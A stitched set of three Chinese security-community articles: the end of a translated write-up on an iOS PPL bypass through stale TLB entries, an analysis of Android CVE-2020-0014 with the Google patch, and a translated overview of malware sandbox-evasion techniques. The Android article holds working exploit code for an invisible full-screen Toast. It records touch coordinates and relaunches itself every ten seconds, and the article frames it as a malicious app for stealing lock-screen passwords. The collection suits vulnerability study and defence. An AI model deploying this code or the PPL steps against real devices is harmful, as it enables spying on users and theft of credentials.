pt_entry_t *bpte, // The first L3 TTE to remove
pt_entry_t *epte, // The end of the TTEs
uint32_t *rmv_cnt,
int options)
不幸的是，当pmap_remove_options_internal()调用pmap_remove_range_options()时，似乎所提供的虚拟地址范围不会超过L3转换表边界，因为如果超过了边界，那么计算出来的TTE范围将内存越界:
remove_count = pmap_remove_range_options(
pmap,
&l3_table[(va_start >> 14) & 0x7FF],
(u64 *)((char *)&l3_table[(va_start >> 14) & 0x7FF]
+ ((size >> 11) & 0x1FFFFFFFFFFFF8LL)),
&rmv_spte,
options);
也就是说如果我们有一个任意的核函数调用原语,我们就可以直接调用PPL-entering封装函数,并使用不正确的虚拟地址范围调用pmap_remove_options_internal（），这使得pmap_remove_range_options（）在PPL模式下尝试删除从越界内存读取的“TTE”。由于删除的TTE被置零，也就是说我们可以破坏PPL保护的内存。
将越界的TTE归零将是绕过PPL的一个非常复杂的原语。很多我们想要破坏的数据可能已经被分配到远离页表的地方了，而且PPL的代码基址不够大，我们无法保证可以通过清空内存来完成一些事情，也就是说，PPL可能会检测到试图unmap不存在的TTEs！
因此，我选择关注这种越界处理的一个副作用：TLB不正确无效。
稍后在pmap_remove_options_internal()中，在删除了TTEs之后，需要使TLB（translation lookaside
buffer）失效，以确保进程无法继续通过失效的TLB条目访问未映射的页面。
flush_mmu_tlb_region_asid_async(va_start, size, pmap);
这个TLB刷新发生在提供的虚拟地址范围，而不是删除的TTEs。因此，如果超出边界的区域来自进程地址空间的一个单独区域，则无效的TLB条目和删除的L3节点之间可能存在不一致，从而将失效的TLB条目留给那些超出边界的TTE。
失效的TLB条目将允许进程在该页被取消映射并可能被重新用于页表之后继续访问该物理页。因此，如果一个L3转换表有一个失效的TLB条目，那么我们可以插入L3
TTEs来将任意受ppl保护的页面映射为可写的。
以下是PPL Pypass的原理:
* 1.调用内核函数cpm_allocate（）分配2页连续的物理内存，分别称为A和B。
* 2.调用pmap_mark_page_as_ppl_page()在ppl_page_list的头部插入A和B，这样它们就可以在页表中重用。
* 3.虚拟地址P和Q的page出现了问题，因此A和B被分配为L3 TTs，分别用于映射P和Q。P和Q是不连续的，但有连续的TTEs。
* 4.启动一个单核CPU的spinner线程，该线程从第Q页循环读取数据，以保持TLB条目有效。
* 5.调用pmap_remove_options()删除从虚拟地址P(不包括Q)开始的2个page，也就是说该漏洞删除了P和Q的TTEs，但只有P的TLB条目无效。
* 6.调用pmap_mark_page_as_ppl_page()将page Q插入到ppl_page_list的头部，以便页表可以重用它。
* 7.虚拟地址page R中出现错误，因此即使我们继续为Q提供失效的TLB条目，也将page Q分配为R 的 L3 TT。
* 8.使用失效的TLB条目，写入page Q以插入一个L3 TTE，它将Q本身映射为可写的。
此Bypass报告为[Project Zero issue 2035](https://bugs.chromium.org/p/project-zero/issues/detail?id=2035)，并在iOS
13.6中修复;您可以找到一个POC，它演示了如何将任意物理地址映射到EL0中。关于如何利用TLB更详细的内容，请参考Jann
Horn关于这个主题的[文章](https://googleprojectzero.blogspot.com/2019/01/taking-page-from-kernels-book-tlb-issue.html)。
这个bug演示了在以前不存在安全边界的情况下创建安全边界时的一个常见问题。代码很容易对安全模型做一些微妙的假设（比如在哪里进行参数验证，或者什么功能是公开的还是私有的），而这些假设在新模型下不再成立。如果在PPL中看到更多这样的bug，我不会感到惊讶。
总的来说，这次我对PPL的设计更加熟悉，我认为这是一个很好的缓解机制，有明确的安全边界，不会引发更多的攻击面。对我而言，PPL的实际价值尚不明确:PPL可以缓解哪些实际攻击？它是否只是为了进一步完善缓解机制打下的基础？无论答案是什么，我都期待它，感谢Apple提出了一个值得深入研究的缓解机制。 | 社区文章 |
# 通过安卓最新 Toast 漏洞进行 Tapjacking
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 01.漏洞简介
Toast 是安卓开发中常用的消息提示方法，在安卓 2020 年 2 月的安全性更新中修补了一个 Toast 相关的漏洞 `CVE-2020-0014`
。该漏洞可使恶意 App 通过构造一个可被点击的 Toast 视图来截获用户在屏幕上的操作，以达到搜集用户密码等敏感信息的目的。
下文将对该漏洞原理做简要分析，并提供一种漏洞利用方式以及可能的攻击场景，测试环境为 Google pixel 2 Android 9 系统。
## 02.漏洞分析
要理解这个漏洞存因，首先要从 Toast 的实现来看一下一个 Toast 从构造到在手机屏幕弹出，经历了哪些过程。
以 `Toast.makeText(context, text, duration).show()` 为例，将经历如下过程：
public static Toast makeText(Context context, CharSequence text, @Duration int duration) {
return makeText(context, null, text, duration);
}
/**
* Make a standard toast to display using the specified looper.
* If looper is null, Looper.myLooper() is used.
* @hide
*/
public static Toast makeText(@NonNull Context context, @Nullable Looper looper,
@NonNull CharSequence text, @Duration int duration) {
Toast result = new Toast(context, looper);
LayoutInflater inflate = (LayoutInflater)
context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View v = inflate.inflate(com.android.internal.R.layout.transient_notification, null);
TextView tv = (TextView)v.findViewById(com.android.internal.R.id.message);
tv.setText(text);
result.mNextView = v;
result.mDuration = duration;
return result;
}
可以看到 makeText 方法会调用 Toast 构造函数生成一个实例，并构造一个 TextView 作为 Toast 的内容视图，再进一步看 Toast
的构造函数：
/**
* Constructs an empty Toast object. If looper is null, Looper.myLooper() is used.
* @hide
*/
public Toast(@NonNull Context context, @Nullable Looper looper) {
mContext = context;
mTN = new TN(context.getPackageName(), looper);
mTN.mY = context.getResources().getDimensionPixelSize(
com.android.internal.R.dimen.toast_y_offset);
mTN.mGravity = context.getResources().getInteger(
com.android.internal.R.integer.config_toastDefaultGravity);
}
Toast 构造方法主要是实例化 Toast 的私有内部类 TN。再来看 TN 的构造方法：
TN(String packageName, @Nullable Looper looper) {
// XXX This should be changed to use a Dialog, with a Theme.Toast
// defined that sets up the layout params appropriately.
final WindowManager.LayoutParams params = mParams;
params.height = WindowManager.LayoutParams.WRAP_CONTENT;
params.width = WindowManager.LayoutParams.WRAP_CONTENT;
params.format = PixelFormat.TRANSLUCENT;
params.windowAnimations = com.android.internal.R.style.Animation_Toast;
params.type = WindowManager.LayoutParams.TYPE_TOAST;
params.setTitle("Toast");
params.flags = WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
| WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
| WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
mPackageName = packageName;
if (looper == null) {
// Use Looper.myLooper() if looper is not specified.
looper = Looper.myLooper();
if (looper == null) {
throw new RuntimeException(
"Can't toast on a thread that has not called Looper.prepare()");
}
}
mHandler = new Handler(looper, null) {
@Override
public void handleMessage(Message msg) {
switch (msg.what) {
case SHOW: {
IBinder token = (IBinder) msg.obj;
handleShow(token);
break;
}
case HIDE: {
handleHide();
// Don't do this in handleHide() because it is also invoked by
// handleShow()
mNextView = null;
break;
}
case CANCEL: {
handleHide();
// Don't do this in handleHide() because it is also invoked by
// handleShow()
mNextView = null;
try {
getService().cancelToast(mPackageName, TN.this);
} catch (RemoteException e) {
}
break;
}
}
}
};
}
TN 对象构造函数主要对 mParams 进行了初始化，赋值了一些系列默认属性如 param.type 为 `TYPE_TOAST`，尤其还注意到
`params.flag` 属性的默认选项 `FLAG_NOT_TOUCHABLE`，这个选项设置后显示出的 Toast 不会接收任何触摸事件。此外还可看出
TN 对象是实际上的Toast控制者，负责实现处理Toast显示、隐藏、取消的方法。但是在当前例子中我们只关心 Toast 的显示，即 TN 对象的
show() 方法，show() 方法最终又会被走到 handleShow() 方法中:
public void handleShow(IBinder windowToken) {
if (localLOGV) Log.v(TAG, "HANDLE SHOW: " + this + " mView=" + mView
+ " mNextView=" + mNextView);
// If a cancel/hide is pending - no need to show - at this point
// the window token is already invalid and no need to do any work.
if (mHandler.hasMessages(CANCEL) || mHandler.hasMessages(HIDE)) {
return;
}
if (mView != mNextView) {
// remove the old view if necessary
handleHide();
mView = mNextView;
Context context = mView.getContext().getApplicationContext();
String packageName = mView.getContext().getOpPackageName();
if (context == null) {
context = mView.getContext();
}
mWM = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
// We can resolve the Gravity here by using the Locale for getting
// the layout direction
final Configuration config = mView.getContext().getResources().getConfiguration();
final int gravity = Gravity.getAbsoluteGravity(mGravity, config.getLayoutDirection());
mParams.gravity = gravity;
if ((gravity & Gravity.HORIZONTAL_GRAVITY_MASK) == Gravity.FILL_HORIZONTAL) {
mParams.horizontalWeight = 1.0f;
}
if ((gravity & Gravity.VERTICAL_GRAVITY_MASK) == Gravity.FILL_VERTICAL) {
mParams.verticalWeight = 1.0f;
}
mParams.x = mX;
mParams.y = mY;
mParams.verticalMargin = mVerticalMargin;
mParams.horizontalMargin = mHorizontalMargin;
mParams.packageName = packageName;
mParams.hideTimeoutMilliseconds = mDuration ==
Toast.LENGTH_LONG ? LONG_DURATION_TIMEOUT : SHORT_DURATION_TIMEOUT;
mParams.token = windowToken;
if (mView.getParent() != null) {
if (localLOGV) Log.v(TAG, "REMOVE! " + mView + " in " + this);
mWM.removeView(mView);
}
if (localLOGV) Log.v(TAG, "ADD! " + mView + " in " + this);
// Since the notification manager service cancels the token right
// after it notifies us to cancel the toast there is an inherent
// race and we may attempt to add a window after the token has been
// invalidated. Let us hedge against that.
try {
mWM.addView(mView, mParams);
trySendAccessibilityEvent();
} catch (WindowManager.BadTokenException e) {
/* ignore */
}
}
}
从 handleShow 的实现可以看到 Toast 的本质上是获取到系统的服务 WindowManager ，然后通过调用 WindowManager 的
addView 直接将视图显示出来。此处 WindowManager.addView 的第二个参数为 WindowManager.LayoutParams
，前面提到初始化的 `mParams.flags` 里包含一个选项 `FLAG_NOT_TOUCHABLE` 使得 `Toast`
在默认情况下不能接受触摸事件，但如果我们通过反射的方式，在 `Toast` 调用 `show()` 方法之前就将 `mParams.flags` 中的
`FLAG_NOT_TOUCHABLE` 选项清除掉，那我们便能获得一个可以监听触摸事件的的 `Toast` 了，这便是该漏洞的成因。
## 03.漏洞利用
了解的漏洞的成因，就可以开始编写漏洞利用，从 `Toast` 类出发，找到需要反射修改目标参数，如下所示：
public Class Toast {
// --- snip --- //
final TN mTN;
// --- snip --- //
private static class TN extends ITransientNotification.Stub {
@UnsupportedAppUsage(maxTargetSdk = Build.VERSION_CODES.P)
private final WindowManager.LayoutParams mParams = new WindowManager.LayoutParams();
// --- snip --- //
}
}
以下是弹出可监听触摸事件的Toast的关键代码：
public static void showToast(final Context context, int duration) {
Toast mToast = null;
if (mToast == null) {
MyTextView view = new MyTextView(context);
view.setText("nothing");
view.setAlpha(0);
mToast = Toast.makeText(context.getApplicationContext(), "", duration);
mToast.setGravity(Gravity.TOP, 0, 0);
mToast.setView(view);
}
try {
Object mTN;
mTN = getField(mToast, "mTN"); // Toast.mTN
if (mTN != null) {
Object mParams = getField(mTN, "mParams"); // TN.mParams
if (mParams != null && mParams instanceof WindowManager.LayoutParams) {
WindowManager.LayoutParams params = (WindowManager.LayoutParams) mParams;
//去掉FLAG_NOT_TOUCHABLE 使Toast可点击
params.flags = WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
}
}
} catch (Exception e) {
e.printStackTrace();
}
mToast.show();
}
//反射
private static Object getField(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Field field = object.getClass().getDeclaredField(fieldName);
if (field != null) {
field.setAccessible(true);
return field.get(object);
}
return null;
}
主要方法就是通过反射的方式来修改 Toast 对象的TN对象的 mParams 属性，清除其 FLAG_NOT_TOUCHABLE 选项，并且将 Toast
布满屏幕，且设为全透明。
其中 MyTextView 类为自定义视图类，重写了 dispatchTouchEvent 方法来打印触摸坐标信息的日志。
public class MyTextView extends androidx.appcompat.widget.AppCompatTextView {
public MyTextView(Context context) {
super(context);
}
@Override
public boolean dispatchTouchEvent(MotionEvent ev) {
float x = ev.getX();
float y = ev.getY();
Log.d("LittleLisk", String.format("x:%f, y:%f", x, y));
return false;
}
}
作为恶意 App 我们还需要设定一个弹出触摸信息记录 Toast 的时机。简单起见，我们启动一个service来周期性弹出全透明 Toast
以窃取用户触摸信息。
public final class LoopService extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
ClickToast.showToast(this, Toast.LENGTH_LONG);
new Thread(new Runnable() {
@Override
public void run() {
Log.d("LittleLisk", "toast now: " + new Date().
toString());
}
}).start();
AlarmManager manager = (AlarmManager) getSystemService(ALARM_SERVICE);
int anHour = 10 * 1000; // 10秒
long triggerAtTime = SystemClock.elapsedRealtime() + anHour;
Intent i = new Intent(this, AlarmReceiver.class);
PendingIntent pi = PendingIntent.getBroadcast(this, 0, i, 0);
manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pi);
return super.onStartCommand(intent, flags, startId);
}
}
public class AlarmReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent i = new Intent(context, LoopService.class);
context.startService(i);
}
}
以上便是一个简易的恶意 App 原型，下面我们再看下可能的攻击场景。
## 04.攻击场景
假设此刻我作为一个用户，正准备设置我的锁屏密码：
此时透明Toast弹出，并记录了我的触屏坐标，我的锁屏密码便可能被窃取
同样可以举一反三获取用户其他敏感信息，不失为一种较为严重的安全漏洞。
## 05.漏洞修补
首先来看下 google 官方的 patch。
diff --git a/services/core/java/com/android/server/wm/DisplayPolicy.java b/services/core/java/com/android/server/wm/DisplayPolicy.java
index 99a9db3..d4a4628 100644
--- a/services/core/java/com/android/server/wm/DisplayPolicy.java
+++ b/services/core/java/com/android/server/wm/DisplayPolicy.java
@@ -865,6 +865,8 @@
if (canToastShowWhenLocked(callingPid)) {
attrs.flags |= WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED;
}
+ // Toasts can't be clickable
+ attrs.flags |= WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
break;
}
再定位到 `DisplayPolicy.java` 的函数 `adjustWindowParamsLw`：
public void adjustWindowParamsLw(WindowState win, WindowManager.LayoutParams attrs,
int callingPid, int callingUid) {
final boolean isScreenDecor = (attrs.privateFlags & PRIVATE_FLAG_IS_SCREEN_DECOR) != 0;
if (mScreenDecorWindows.contains(win)) {
if (!isScreenDecor) {
// No longer has the flag set, so remove from the set.
mScreenDecorWindows.remove(win);
}
} else if (isScreenDecor && hasStatusBarServicePermission(callingPid, callingUid)) {
mScreenDecorWindows.add(win);
}
switch (attrs.type) {
case TYPE_SYSTEM_OVERLAY:
case TYPE_SECURE_SYSTEM_OVERLAY:
// These types of windows can't receive input events.
attrs.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
| WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
attrs.flags &= ~WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
break;
case TYPE_DREAM:
case TYPE_WALLPAPER:
// Dreams and wallpapers don't have an app window token and can thus not be
// letterboxed. Hence always let them extend under the cutout.
attrs.layoutInDisplayCutoutMode = LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES;
break;
case TYPE_STATUS_BAR:
// If the Keyguard is in a hidden state (occluded by another window), we force to
// remove the wallpaper and keyguard flag so that any change in-flight after setting
// the keyguard as occluded wouldn't set these flags again.
// See {@link #processKeyguardSetHiddenResultLw}.
if (mService.mPolicy.isKeyguardOccluded()) {
attrs.flags &= ~WindowManager.LayoutParams.FLAG_SHOW_WALLPAPER;
attrs.privateFlags &= ~WindowManager.LayoutParams.PRIVATE_FLAG_KEYGUARD;
}
break;
case TYPE_SCREENSHOT:
attrs.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
break;
case TYPE_TOAST:
// While apps should use the dedicated toast APIs to add such windows
// it possible legacy apps to add the window directly. Therefore, we
// make windows added directly by the app behave as a toast as much
// as possible in terms of timeout and animation.
if (attrs.hideTimeoutMilliseconds < 0
|| attrs.hideTimeoutMilliseconds > TOAST_WINDOW_TIMEOUT) {
attrs.hideTimeoutMilliseconds = TOAST_WINDOW_TIMEOUT;
}
// Accessibility users may need longer timeout duration. This api compares
// original timeout with user's preference and return longer one. It returns
// original timeout if there's no preference.
attrs.hideTimeoutMilliseconds = mAccessibilityManager.getRecommendedTimeoutMillis(
(int) attrs.hideTimeoutMilliseconds,
AccessibilityManager.FLAG_CONTENT_TEXT);
attrs.windowAnimations = com.android.internal.R.style.Animation_Toast;
// Toast can show with below conditions when the screen is locked.
if (canToastShowWhenLocked(callingPid)) {
attrs.flags |= WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED;
}
// Toasts can't be clickable
attrs.flags |= WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE; // <=========== patch
break;
}
if (attrs.type != TYPE_STATUS_BAR) {
// The status bar is the only window allowed to exhibit keyguard behavior.
attrs.privateFlags &= ~WindowManager.LayoutParams.PRIVATE_FLAG_KEYGUARD;
}
}
可以看到在处理 TYPE_TOAST 的分支中，flags 属性被`强制`加上了 FLAG_NOT_TOUCHABLE 标记，而
adjustWindowParamsLw() 方法在 WindowManager.addView() 方法的过程中，即发生在恶意 App
清除FLAG_NOT_TOUCHABLE 标记之后。故该补丁能强制使 Toast 在显示的时候处于不可点击状态，消除了风险。 | 社区文章 |
# 【技术分享】沙盒逃逸技术详解（一）
|
##### 译文声明
本文是翻译文章，文章来源：vmray.com
原文地址：<https://www.vmray.com/blog/sandbox-evasion-techniques-part-1/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：170RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**写在前面的话**
在过去的十多年里，针对恶意软件沙盒逃逸技术的分析已经成为了对抗高级持续性威胁的银弹，虽然这种技术变得越来越热门，但是恶意软件的开发者们似乎也找到了一种基于静态分析的方法（例如加密、混淆处理和反逆向保护等技术）来躲避传统反病毒安全工具的检测。因此，针对恶意软件沙盒逃逸技术的分析与研究已经成为了我们抵御高级持续性威胁的最后一道防线。
该系列文章主要介绍的是目前恶意软件主要使用的沙盒逃逸技术，本系列分上下集，并且会详细分析目前三大类主流的沙盒逃逸技术。
**沙盒技术**
实际上，沙盒就是一种类似影子系统的虚拟系统环境，它比带有宿主的虚拟机有着更深层次的系统内核级技术。它可以接管恶意软件的功能调用接口或函数行为，并且在确认了病毒行为之后实行回滚机制，并让系统保持一种干净的状态。它可以用来对一些来源不可信、具备破坏力或无法判断其真实意图的程序进行分析与测试，而且沙盒中的所有改动不会对主机操作系统造成任何的影响。通常来说，使用这种技术的人一般都是计算机信息安全领域的专业技术人员，尤其是反病毒行业。
沙盒的工作机制其实非常的简单：如何去确定一个文件是否是恶意文件呢？沙盒会在一个受控环境中对文件的行为进行观察，然后根据沙盒对该文件的分析结果来判断其是否具有恶意行为。沙盒允许恶意软件在受控环境中执行它所有的恶意功能，并对恶意行为进行记录，经过一段时间的观察之后分析便会终止，然后沙盒会将分析结果当作这款恶意软件的典型行为模式来扫描和检测这一款恶意软件。由于沙盒不再是根据签名来检测恶意软件了，因此它甚至还可以检测某些有针对性的或此前从未出现过的恶意软件。
很明显，只有当被观察文件在其被分析的过程中真正执行其恶意行为时，基于行为的恶意软件检测技术才会有效果。如果在分析过程中目标没有执行恶意行为，那么沙盒则会认为这个文件是友好的。恶意软件的开发者会不断地寻求更加新颖的方法来隐藏恶意软件的真实行为，并以此来躲避沙盒检测。我们在这里将这些方法分成了以下三大类：
1.沙盒检测：检测沙盒的存在（在检测过程中只显露出友好行为）；
2.利用沙盒漏洞：利用沙盒技术或目标环境中存在的安全缺陷；
3.基于环境感知(Context-Aware)的恶意软件：对时间/事件/环境进行判断，并且在沙盒分析过程中不会暴露恶意行为；
**沙盒检测**
首先，第一种检测沙盒存在的方法就是区分出沙盒环境与真实目标系统之间的细微差别。如果检测到了沙盒，恶意软件的应对方法通常有以下两种：立即终止恶意行为；只显示友好的行为，而不执行恶意操作。我们在此给出了一个例子【[详细内容轻点我](https://www.vmray.com/analyses/663306/report/overview.html)】，这个样本具有以下两种特性：
1.尝试通过检测来判断当前运行环境是否为虚拟机（VM）；
2.检测当前环境是否有沙盒应用正在运行（例如Sandboxie）
我们可以从VMRay威胁识别服务（VTI）提供的详细信息中了解到，VMRay发现目标会尝试进行沙盒检测，并且把这种行为标记成了“高度可疑”。
**利用沙盒漏洞**
第二种方法就是利用底层沙盒技术或目标系统环境中的安全缺陷来直接实施攻击。比如说，我们近期发现有很多恶意软件会在内部使用Microsoft
COM组件，因为大多数沙盒无法正确分析这种样本。另一种恶意软件会对文件格式和类型进行混淆，并让沙盒无法正常处理这种文件。比如说，攻击者可以让恶意文件的大小超过沙盒所能支持的最大文件长度，此时沙盒将无法分析这类文件。
我们给大家提供了一个例子【[点我获取](http://www.vmray.com/analyses/663310/report/overview.html)】，这个恶意软件会尝试通过非法使用API来躲避沙盒检测，而这种方法可以用来有效地躲避那些基于驱动程序和函数钩子的沙盒分析器。但是VMRay并不会使用钩子函数，因此这款恶意软件躲避沙盒检测的尝试就被检测到并记录下来了：
**基于环境感知(Context-Aware)的恶意软件**
恶意软件所使用的第三类方法其实根本都不会去尝试检测或攻击沙盒，它利用的是这种自动化系统天生的固有缺陷。因为大多数安全检测环境和沙盒分析系统在分析某些特殊的恶意软件时并不会花多少时间，因此这种恶意软件只需要延迟恶意Payload的执行时间就能够有效地躲避沙盒检测。除了这种基于时间的触发条件意外，恶意软件还可以使用一些通常不会在沙盒环境中发生的事件，例如系统重启和用户交互等等。需要注意的是，有些恶意软件还会搜索目标设备中的某些特殊工具，例如某个应用程序和本地化设置等等，对这部分内容感兴趣的同学可以参考这篇文章【[传送门](https://www.vmray.com/blog/analyzing-environment-sensitive-malware/)】。
在这个样本的分析结果【[传送门](http://www.vmray.com/analyses/663313/report/overview.html)】中我们可以看到，除了尝试检测虚拟机环境以外，这个恶意软件样本还会通过安装启动脚本和应用程序来实现持久化感染：
**总结**
本系列文章共3个部分，在本系列文章的第二部分中，我们会对这三类沙盒逃逸技术一一进行深入地分析和讲解，并且通过对样本进行分析来让大家更加清除地理解当前恶意软件所使用的沙盒逃逸技术。感兴趣的同学请及时关注安全客的最新资讯，敬请期待！
**参考资料**
<https://www.vmray.com/analyses/663306/report/overview.html>
[http://www.vmray.com/analyses/663310/report/overview.html](http://www.vmray.com/analyses/663310/report/overview.html)
[http://www.vmray.com/analyses/663313/report/overview.html](http://www.vmray.com/analyses/663313/report/overview.html)
[http://theinvisiblethings.blogspot.de/2006/06/introducing-blue-pill.html](http://theinvisiblethings.blogspot.de/2006/06/introducing-blue-pill.html)
VMWare port:
[https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1009458](https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=1009458)
[https://www.blackhat.com/docs/asia-14/materials/Li/Asia-14-Li-Comprehensive-Virtual-Appliance-Detection.pdf](https://www.blackhat.com/docs/asia-14/materials/Li/Asia-14-Li-Comprehensive-Virtual-Appliance-Detection.pdf)
Breaking the Sandbox: [https://www.exploit-db.com/docs/34591.pdf](https://www.exploit-db.com/docs/34591.pdf)
[https://www.brokenbrowser.com/detecting-apps-mimetype-malware/](https://www.brokenbrowser.com/detecting-apps-mimetype-malware/)
[https://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf](https://www.symantec.com/avcenter/reference/Virtual_Machine_Threats.pdf)
[https://www.vmray.com/blog/analyzing-environment-sensitive-malware/](https://www.vmray.com/blog/analyzing-environment-sensitive-malware/) | 社区文章 |
Subsets and Splits